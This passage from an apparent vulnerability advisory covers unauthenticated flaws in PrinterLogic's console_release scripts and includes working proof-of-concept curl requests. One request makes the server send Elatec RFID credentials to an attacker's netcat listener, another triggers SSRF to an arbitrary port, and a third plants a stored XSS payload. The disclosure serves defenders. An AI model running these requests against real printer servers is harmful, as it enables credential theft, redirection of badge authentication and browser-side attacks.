<span style="color: #666666">157</span>                         <span style="color: #008000; font-weight: bold">while</span>( <span style="color: #19177C">$jobs_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">next_row</span>( <span style="color: #19177C">$jobs_vo</span> ))
<span style="color: #666666">158</span>                         {
<span style="color: #666666">159</span>                             <span style="color: #408080; font-style: italic">//only process unique job_uuid&#39;s once if there is a value returned</span>
<span style="color: #666666">160</span>                             <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$uniqueJobHelper</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">hasJobUuidBeenProcessed</span>(<span style="color: #19177C">$jobs_vo</span>)) {
<span style="color: #666666">161</span>                                     <span style="color: #008000; font-weight: bold">continue</span>;
<span style="color: #666666">162</span>                             }
<span style="color: #666666">163</span>                             <span style="color: #008000">array_push</span>( <span style="color: #19177C">$messages</span>,
<span style="color: #666666">164</span>                                         <span style="color: #008000; font-weight: bold">array</span>(
<span style="color: #666666">165</span>                                                 <span style="color: #BA2121">&quot;queue_id&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$jobs_vo</span>[<span style="color: #BA2121">&quot;queue_id&quot;</span>],
<span style="color: #666666">166</span>                                                 <span style="color: #BA2121">&quot;workstation_id&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$jobs_vo</span>[<span style="color: #BA2121">&quot;workstation_id&quot;</span>],
<span style="color: #666666">167</span>                                                 <span style="color: #BA2121">&quot;job_num&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$jobs_vo</span>[<span style="color: #BA2121">&quot;job_num&quot;</span>],
<span style="color: #666666">168</span>                                                 <span style="color: #BA2121">&quot;job_type&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$jobs_vo</span>[<span style="color: #BA2121">&quot;job_type&quot;</span>],
<span style="color: #666666">169</span>                                                 <span style="color: #BA2121">&quot;document_title&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000">str_replace</span>( <span style="color: #BA2121">&#39;,&#39;</span>, <span style="color: #BA2121">&#39;&#39;</span>, <span style="color: #19177C">$jobs_vo</span>[<span style="color: #BA2121">&#39;document_title&#39;</span>] ),
<span style="color: #666666">170</span>                                                 <span style="color: #BA2121">&quot;pages&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$jobs_vo</span>[<span style="color: #BA2121">&#39;pages&#39;</span>],
<span style="color: #666666">171</span>                                                 <span style="color: #BA2121">&quot;status&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$jobs_vo</span>[<span style="color: #BA2121">&#39;status&#39;</span>],
<span style="color: #666666">172</span>                                                 <span style="color: #BA2121">&quot;submitted&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$jobs_vo</span>[<span style="color: #BA2121">&#39;submitted&#39;</span>]
<span style="color: #666666">173</span>                                         )
<span style="color: #666666">174</span>                                 );
<span style="color: #666666">175</span>                         }
<span style="color: #666666">176</span>                 }
<span style="color: #666666">177</span>                 <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #008000">json_encode</span>( <span style="color: #19177C">$messages</span> );
</pre></div>

<p>Looking for <code>ENHANCED_SECURITY</code>:</p>
<pre><code>kali% rgrep 'ENHANCED_SECURITY' .
./config/settings.php.local:GLOBALS::$ENHANCED_SECURITY = 0; // Turn on Enhanced security for CPA
./config/settings.php:GLOBALS::$ENHANCED_SECURITY = 0; // Turn on Enhanced security for CPA
./lib/common/load-settings.php:    static $ENHANCED_SECURITY = 0; // Turn on Enhanced security for CPA
</code></pre>
<p>Using dynamic analysis, it was confirmed that the script doesn't check authentication.</p>
<p>It is then possible to extract information without authentication about the printed jobs for any user or to delete them. These information can be retrieved:</p>
<ul>
<li>Queue_id</li>
<li>Workstation_id</li>
<li>Job_num</li>
<li>Job_type</li>
<li>Document_title</li>
<li>Pages</li>
<li>Status</li>
<li>Submitted</li>
</ul>
<p>Futhermore, some debug code is still present:</p>
<p>Content of <code>/var/www/app/state/query/console_release.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">418</span>         <span style="color: #008000; font-weight: bold">if</span>( GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$CONSOLE_RELEASE_TESTING</span> <span style="color: #666666">==</span> <span style="color: #666666">1</span> )
<span style="color: #666666">419</span>         {
<span style="color: #666666">420</span>                 <span style="color: #008000">ob_start</span>();
<span style="color: #666666">421</span>                 <span style="color: #008000">print_r</span>( <span style="color: #19177C">$_POST</span> );
<span style="color: #666666">422</span>                 <span style="color: #19177C">$output</span> <span style="color: #666666">=</span> <span style="color: #008000">ob_get_clean</span>();
<span style="color: #666666">423</span>                 \Storage<span style="color: #666666">::</span><span style="color: #7D9029">disk</span>(<span style="color: #BA2121">&#39;cache&#39;</span>)<span style="color: #666666">-&gt;</span><span style="color: #7D9029">put</span>(<span style="color: #BA2121">&quot;xerox/z.txt&quot;</span>, <span style="color: #19177C">$output</span> );
<span style="color: #666666">424</span>         }
</pre></div>

<p>PHP webpages are reachable without authentication and allow an attacker to perform administrative tasks.</p>
<p>The code present in the <code>console_release</code> directory is poorly written and contains a big number of vulnerabilities.</p>
<p>The code allows an attacker to interact with remote printers without authentication.</p>
<p>It is possible to extract information without authentication about the printed jobs for any user or to delete them. </p>
<p><a id="va-pre-auth-password-disclosure"></a></p>
<h2>Details - Pre-authenticated Elatec password disclosure, Change to a malicious Elatec server and Blind-SSRF</h2>
<p>It is possible to remotely retrieve the Elatec password without authentication by using the script <code>/www/app/console_release/fast_release/elatec_tcpconv2.php</code> (PoC provided below).</p>
<p>It is also possible to change the Elatec server (Elatec TCPConv 2), used for RFID authentication, to a malicious server (PoC provided below).</p>
<p>Finally, it is possible to have a blind SSRF and a normal SSRF.</p>
<p>On line 20 and 21, the verification of SSL is disabled, allowing an attacker on the network to Man-In-The-Middle the connection.</p>
<p>Content of <code>/www/app/console_release/fast_release/elatec_tcpconv2.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
  <span style="color: #666666">9</span>     <span style="color: #19177C">$elatec_device</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> PrinterLogic\Models\ElatecSimpleBadgeReleaseDevice();
 <span style="color: #666666">10</span>     <span style="color: #19177C">$elatec</span> <span style="color: #666666">=</span> <span style="color: #19177C">$elatec_device</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">get_elatec_fast_release_settings</span>(requestint(<span style="color: #BA2121">&quot;printer_id&quot;</span>, <span style="color: #666666">0</span>), requeststr(<span style="color: #BA2121">&#39;ip_address&#39;</span>, <span style="color: #BA2121">&#39;&#39;</span>));
 <span style="color: #666666">11</span> 
 <span style="color: #666666">12</span>     <span style="color: #19177C">$elatec_is_setup</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">false</span>;
 <span style="color: #666666">13</span>     <span style="color: #19177C">$elatec_port_is_setup</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">false</span>;
 <span style="color: #666666">14</span>     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_remote_host</span> <span style="color: #666666">!=</span> <span style="color: #BA2121">&#39;&#39;</span>) {
 <span style="color: #666666">15</span>         <span style="color: #19177C">$ch_check</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_init</span>();
 <span style="color: #666666">16</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch_check</span>, CURLOPT_URL, <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">ip_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;:81/pages/setup_usb.php&quot;</span>);
 <span style="color: #666666">17</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch_check</span>, CURLOPT_USERPWD, <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">username</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;:&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">password</span>); <span style="color: #408080; font-style: italic">// [1] leak of Elatec credentials</span>
 <span style="color: #666666">18</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch_check</span>, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
 <span style="color: #666666">19</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch_check</span>, CURLOPT_RETURNTRANSFER, <span style="color: #666666">1</span>);
 <span style="color: #666666">20</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch_check</span>, CURLOPT_SSL_VERIFYHOST, <span style="color: #008000; font-weight: bold">false</span>);                                <span style="color: #408080; font-style: italic">// [2] Insecure SSL/TLS connection</span>
 <span style="color: #666666">21</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch_check</span>, CURLOPT_SSL_VERIFYPEER, <span style="color: #008000; font-weight: bold">false</span>);                                <span style="color: #408080; font-style: italic">// [3] Insecure SSL/TLS connection</span>
 <span style="color: #666666">22</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch_check</span>, CURLOPT_TIMEOUT, <span style="color: #666666">30</span>);
[<span style="color: #666666">...</span>]
 <span style="color: #666666">51</span>         <span style="color: #19177C">$post_values</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;usb_newline=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">newline</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_tcp=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_tcp</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_local_port=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_local_port</span>
 <span style="color: #666666">52</span>             <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_client_data=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_client_data</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_ip=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_remote_host</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_remote_port=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_remote_port</span>
 <span style="color: #666666">53</span>             <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_connect=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_connect</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_connect_char=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_connect_char</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_send_connect_char=&quot;</span>
 <span style="color: #666666">54</span>             <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_send_connect_char</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_disconnect_on_given_char=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_discconect_on_given_char</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_disconnect_on_char=&quot;</span>
 <span style="color: #666666">55</span>             <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_disconnect_on_char</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_send_disconnect_char=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_send_disconnect_char</span>
 <span style="color: #666666">56</span>             <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&amp;usb_disconnect_timeout=&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">usb_disconnect_timeout</span>;
 <span style="color: #666666">57</span>         <span style="color: #19177C">$headers</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(
 <span style="color: #666666">58</span>             <span style="color: #BA2121">&quot;POST /cgi-bin/setup_usb.py&quot;</span>,
 <span style="color: #666666">59</span>             <span style="color: #BA2121">&quot;Content-Type: application/x-www-form-urlencoded&quot;</span>,
 <span style="color: #666666">60</span>             <span style="color: #BA2121">&quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/ /*;q=0.8&quot;</span>,
 <span style="color: #666666">61</span>             <span style="color: #BA2121">&quot;Accept-Encoding: gzip, deflate&quot;</span>,
 <span style="color: #666666">62</span>             <span style="color: #BA2121">&quot;Accept-Language: en-US,en;q=0.8&quot;</span>
 <span style="color: #666666">63</span>         );
 <span style="color: #666666">64</span>         <span style="color: #19177C">$ch</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_init</span>();
 <span style="color: #666666">65</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_URL, <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">ip_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;:81/cgi-bin/setup_usb.py&quot;</span>);
 <span style="color: #666666">66</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_USERPWD, <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">username</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;:&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$elatec</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">password</span>);       <span style="color: #408080; font-style: italic">// [4] leak of Elatec credentials</span>
 <span style="color: #666666">67</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
 <span style="color: #666666">68</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_POST, <span style="color: #008000; font-weight: bold">true</span>);
 <span style="color: #666666">69</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_POSTFIELDS, <span style="color: #19177C">$post_values</span>);
 <span style="color: #666666">70</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_HTTPHEADER, <span style="color: #19177C">$headers</span>);
 <span style="color: #666666">71</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_RETURNTRANSFER, <span style="color: #666666">1</span>);
 <span style="color: #666666">72</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_SSL_VERIFYHOST, <span style="color: #008000; font-weight: bold">false</span>);                                      <span style="color: #408080; font-style: italic">// [5] Insecure SSL/TLS connection</span>
 <span style="color: #666666">73</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_SSL_VERIFYPEER, <span style="color: #008000; font-weight: bold">false</span>);                                      <span style="color: #408080; font-style: italic">// [6] Insecure SSL/TLS connection</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">100</span>             <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch2</span>, CURLOPT_SSL_VERIFYHOST, <span style="color: #008000; font-weight: bold">false</span>);                                 <span style="color: #408080; font-style: italic">// [7] Insecure SSL/TLS connection</span>
<span style="color: #666666">101</span>             <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch2</span>, CURLOPT_SSL_VERIFYPEER, <span style="color: #008000; font-weight: bold">false</span>);                                 <span style="color: #408080; font-style: italic">// [8] Insecure SSL/TLS connection</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">120</span>                 <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #008000">json_encode</span>(<span style="color: #19177C">$result</span>);                                                    <span style="color: #408080; font-style: italic">// [9] Output of the SSRF vulnerability</span>
<span style="color: #666666">121</span>             } <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">122</span>                 <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$error_result</span>;                                                           <span style="color: #408080; font-style: italic">// [10] Output of the SSRF vulnerability</span>
<span style="color: #666666">123</span>         } <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">124</span>             <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$error_result</span>;                                                               <span style="color: #408080; font-style: italic">// [11] Output of the SSRF vulnerability</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">129</span>     <span style="color: #19177C">$as2</span> <span style="color: #666666">=</span> AccountSetting<span style="color: #666666">::</span><span style="color: #7D9029">updateOrCreate</span>([<span style="color: #BA2121">&#39;setting&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;badge_managment_register_ip&#39;</span>], [<span style="color: #BA2121">&#39;value&#39;</span> <span style="color: #666666">=&gt;</span> requeststr(<span style="color: #BA2121">&#39;ip_address&#39;</span>, <span style="color: #BA2121">&#39;&#39;</span>), <span style="color: #BA2121">&#39;secure&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #666666">0</span>]); <span style="color: #408080; font-style: italic">// [12] Change of IP for targeted Elatic device</span>
</pre></div>

<p>Sending a request with a new <code>ip_address</code> value, injecting a custom port without authentication:</p>
<p>HTTP request to change the configuration of Elatec without authentication:</p>
<pre><code>kali% curl -kv "http://10.105.0.241/console_release/fast_release/elatec_tcpconv2.php?printer_id=1&amp;ip_address=10.105.0.239:80/"
</code></pre>
<p>On the remote server (10.105.0.239:80), we can retrieve the login/password.</p>
<p>HTTP request from PrinterLogic containing Elatec credentials:</p>
<pre><code>kali% sudo nc -n -l -v -p 80
listening on [any] 80 ...

connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 36012
POST /:81/cgi-bin/setup_usb.py HTTP/1.1
Host: 10.105.0.239
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/ /*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
x-datadog-trace-id: 14656536092520189759
x-datadog-parent-id: 7934684775867635564
Content-Length: 291

usb_newline=crlf&amp;usb_tcp=client&amp;usb_local_port=7777&amp;usb_client_data=plain&amp;usb_ip=10.105.0.241&amp;usb_remote_port=7777&amp;usb_connect=on_any_char&amp;usb_connect_char=&amp;usb_send_connect_char=yes&amp;usb_disconnect_on_given_char=&amp;usb_disconnect_on_char=&amp;usb_send_disconnect_char=yes&amp;usb_disconnect_timeout=10

kali% echo YWRtaW46YWRtaW4=|base64 -d
admin:admin
kali%
</code></pre>
<p>There is also no verification of SSL certificates.</p>
<p>This is also a SSRF, blind by default - This blind SSRF can be transformed into a normal SSRF depending on the HTTP response (line 120, 122 and 124).</p>
<p>The SSRF can be used to reach internal ressources.</p>
<p>It is possible to change the IP of the Elatec server (line 129) to a malicious server without authentication.</p>
<p>The leak of login/password can be used to compromise the Elatec solution, which is used for "Secure Printing using RFID".</p>
<p><a id="va-ssrf-01"></a></p>
<h2>Details - Pre-authenticated SSRF and Change of RFIDeas</h2>
<p>Without authentication, It is possible to remotely change the RFIDeas server (RFIDeas Ethernet 241), used for RFID authentication, to a malicious server.</p>
<p>There is also a Blind SSRF.</p>
<p>Content of <code>/www/app/console_release/fast_release/rfideas_241_install.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  <span style="color: #666666">1</span> &lt;?php
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
  <span style="color: #666666">7</span> <span style="color: #008000; font-weight: bold">if</span><span style="color: #666666">(</span> requestint<span style="color: #666666">(</span> <span style="color: #BA2121">&quot;printer_id&quot;</span>, <span style="color: #666666">0</span> <span style="color: #666666">)</span> !<span style="color: #666666">=</span> <span style="color: #666666">0</span> <span style="color: #666666">)</span>
  <span style="color: #666666">8</span> <span style="color: #666666">{</span>
  <span style="color: #666666">9</span>     <span style="color: #19177C">$port</span> <span style="color: #666666">=</span> <span style="color: #666666">23</span>;
 <span style="color: #666666">10</span>     <span style="color: #19177C">$connection</span> <span style="color: #666666">=</span> @fsockopen<span style="color: #666666">(</span> requeststr<span style="color: #666666">(</span> <span style="color: #BA2121">&quot;ip_address&quot;</span>, <span style="color: #BA2121">&quot;&quot;</span> <span style="color: #666666">)</span>, <span style="color: #19177C">$port</span>, <span style="color: #19177C">$errno</span>, <span style="color: #19177C">$errstr</span> <span style="color: #666666">)</span>;
 <span style="color: #666666">11</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">(</span>!<span style="color: #19177C">$connection</span><span style="color: #666666">)</span>
 <span style="color: #666666">12</span>     <span style="color: #666666">{</span>
 <span style="color: #666666">13</span>         <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> array<span style="color: #666666">(</span>
 <span style="color: #666666">14</span>             <span style="color: #BA2121">&quot;result&quot;</span>    <span style="color: #666666">=</span>&gt;  <span style="color: #BA2121">&quot;Connection Failed&quot;</span>,
 <span style="color: #666666">15</span>             <span style="color: #BA2121">&quot;errno&quot;</span>     <span style="color: #666666">=</span>&gt;  <span style="color: #19177C">$errno</span>,
 <span style="color: #666666">16</span>             <span style="color: #BA2121">&quot;errstr&quot;</span>    <span style="color: #666666">=</span>&gt;  <span style="color: #19177C">$errstr</span>,
 <span style="color: #666666">17</span>         <span style="color: #666666">)</span>;
 <span style="color: #666666">18</span>         <span style="color: #008000">echo</span> json_encode<span style="color: #666666">(</span> <span style="color: #19177C">$response</span> <span style="color: #666666">)</span>;
 <span style="color: #666666">19</span>     <span style="color: #666666">}</span>
 <span style="color: #666666">20</span>     <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">21</span>     <span style="color: #666666">{</span>
 <span style="color: #666666">22</span>         <span style="color: #19177C">$server_host</span> <span style="color: #666666">=</span> gethostname<span style="color: #666666">()</span>;
 <span style="color: #666666">23</span>         <span style="color: #19177C">$server_ip</span> <span style="color: #666666">=</span> gethostbyname<span style="color: #666666">(</span> <span style="color: #19177C">$server_host</span> <span style="color: #666666">)</span>;
 <span style="color: #666666">24</span>         <span style="color: #19177C">$data_port_fail</span> <span style="color: #666666">=</span> true;
 <span style="color: #666666">25</span>         <span style="color: #19177C">$data_ip_addr</span> <span style="color: #666666">=</span> true;
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
 <span style="color: #666666">72</span>         fwrite<span style="color: #666666">(</span><span style="color: #19177C">$connection</span>, <span style="color: #BA2121">&quot;set init_serv_addr &quot;</span> . <span style="color: #19177C">$server_ip</span> . <span style="color: #BA2121">&quot;\r&quot;</span><span style="color: #666666">)</span>;
 <span style="color: #666666">73</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">(</span>return_output<span style="color: #666666">(</span><span style="color: #19177C">$connection</span><span style="color: #666666">)</span> <span style="color: #666666">===</span> <span style="color: #008000">false</span><span style="color: #666666">)</span>
 <span style="color: #666666">74</span>             <span style="color: #19177C">$init_port_fail</span> <span style="color: #666666">=</span> false;
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">114</span>         <span style="color: #19177C">$as</span> <span style="color: #666666">=</span> AccountSetting::updateOrCreate<span style="color: #666666">([</span><span style="color: #BA2121">&#39;setting&#39;</span> <span style="color: #666666">=</span>&gt; <span style="color: #BA2121">&#39;badge_managment_register_ip&#39;</span><span style="color: #666666">]</span>, <span style="color: #666666">[</span><span style="color: #BA2121">&#39;value&#39;</span> <span style="color: #666666">=</span>&gt; requeststr<span style="color: #666666">(</span><span style="color: #BA2121">&#39;ip_address&#39;</span>, <span style="color: #BA2121">&#39;&#39;</span><span style="color: #666666">)</span>, <span style="color: #BA2121">&#39;secure&#39;</span> <span style="color: #666666">=</span>&gt; <span style="color: #666666">0])</span>;
<span style="color: #666666">115</span>         <span style="color: #008000">echo</span> json_encode<span style="color: #666666">(</span><span style="color: #19177C">$output</span><span style="color: #666666">)</span>;
</pre></div>

<p>Sending a request with a new <code>$ip_address</code> value (<code>10.105.0.239</code>), injecting a custom port (<code>25</code>), we confirm there is a SSRF:</p>
<pre><code>kali% curl -kv "http://10.105.0.241/console_release/fast_release/rfideas_241_install.php?printer_id=1&amp;ip_address=10.105.0.239:25"
*   Trying 10.105.0.241:80...
* Connected to 10.105.0.241 (10.105.0.241) port 80 (#0)
&gt; GET /console_release/fast_release/rfideas_241_install.php?printer_id=1&amp;ip_address=10.105.0.239:25 HTTP/1.1
&gt; Host: 10.105.0.241
&gt; User-Agent: curl/7.74.0
&gt; Accept: */*
&gt;
</code></pre>
<p>On the remote server (10.105.0.239), we get the connection on port 25:</p>
<pre><code>kali% sudo nc -l -n -v -p 25
listening on [any] 25 ...
connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 35956
</code></pre>
<p>The SSRF can be used to reach internal ressources.</p>
<p>It is possible to change the IP of the RFIDeas server (line 114) to a malicious server without authentication.</p>
<p><a id="va-stored-xss"></a></p>
<h2>Details - Pre-authenticated Stored XSS in /var/www/app/console_release/fast_release/register_badge.php</h2>
<p>Using the previous vulnerability <a href="#va-pre-auth-password-disclosure">Pre-authentication Elatec password disclosure, Change to a malicious Elatec server and Blind-SSRF</a>, it is possible to get a stored XSS on the <code>$ip_address</code> value in the <code>/www/app/console_release/fast_release/register_badge.php</code> file, without authentication:</p>
<p>Content of <code>/www/app/console_release/fast_release/register_badge.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> 32                     &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">colspan</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;3&quot;</span>&gt;
 33                         <span style="color: #BC7A00">&lt;?php</span>
<span style="color: #BC7A00"> 34                         ?&gt;</span>
 35                         An RFIDeas Ethernet 241 or Elatec TCPConv 2 with a badge reader is required for badge registration.
 36                     &lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
 37                 &lt;/<span style="color: #008000; font-weight: bold">tr</span>&gt;
 38                 &lt;<span style="color: #008000; font-weight: bold">tr</span>&gt;
 39                     &lt;<span style="color: #008000; font-weight: bold">td</span>&gt;
 40                         &lt;<span style="color: #008000; font-weight: bold">input</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text&quot;</span> <span style="color: #7D9029">id</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;ip_address&quot;</span> <span style="color: #7D9029">onfocus</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;register_badge_jquery.watermark_focus( &#39;ip_address&#39; );&quot;</span> <span style="color: #7D9029">onblur</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;register_badge_jquery.watermark_blur( &#39;ip_address&#39; );&quot;</span>
 <span style="color: #7D9029">value</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;&lt;?php echo $ip_address; ?&gt;&quot;</span> /&gt; [1] XSS
 41                     &lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
 42                     &lt;<span style="color: #008000; font-weight: bold">td</span>&gt;
 43                         &lt;<span style="color: #008000; font-weight: bold">div</span> <span style="color: #7D9029">style</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;position: relative; top: -5px; padding-left: 10px;&quot;</span>&gt;
 44                             &lt;<span style="color: #008000; font-weight: bold">a</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;button&quot;</span> <span style="color: #7D9029">id</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;install_rfid&quot;</span> <span style="color: #7D9029">style</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;top: 6px; position: relative;&quot;</span> <span style="color: #7D9029">onmousedown</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;register_badge_jquery.install_reader(&#39;rfideas&#39;);&quot;</span>&gt;Configure RFIDeas Ethernet 241&lt;/<span style="color: #008000; font-weight: bold">a</span>&gt;
</pre></div>

<p>Sending a request with a new <code>$ip_address</code> value containing a stored XSS to <code>/console_release/fast_release/elatec_tcpconv2.php</code>:</p>
<pre><code>kali% curl -kv 'http://10.105.0.241/console_release/fast_release/elatec_tcpconv2.php?printer_id=1&amp;ip_address="&gt;&lt;script&gt;alert(window.cookie)&lt;/script&gt;'
{"result":"Error: Could not resolve host: \"&gt;&lt;script&gt;alert(window.cookie)&lt;"}
</code></pre>
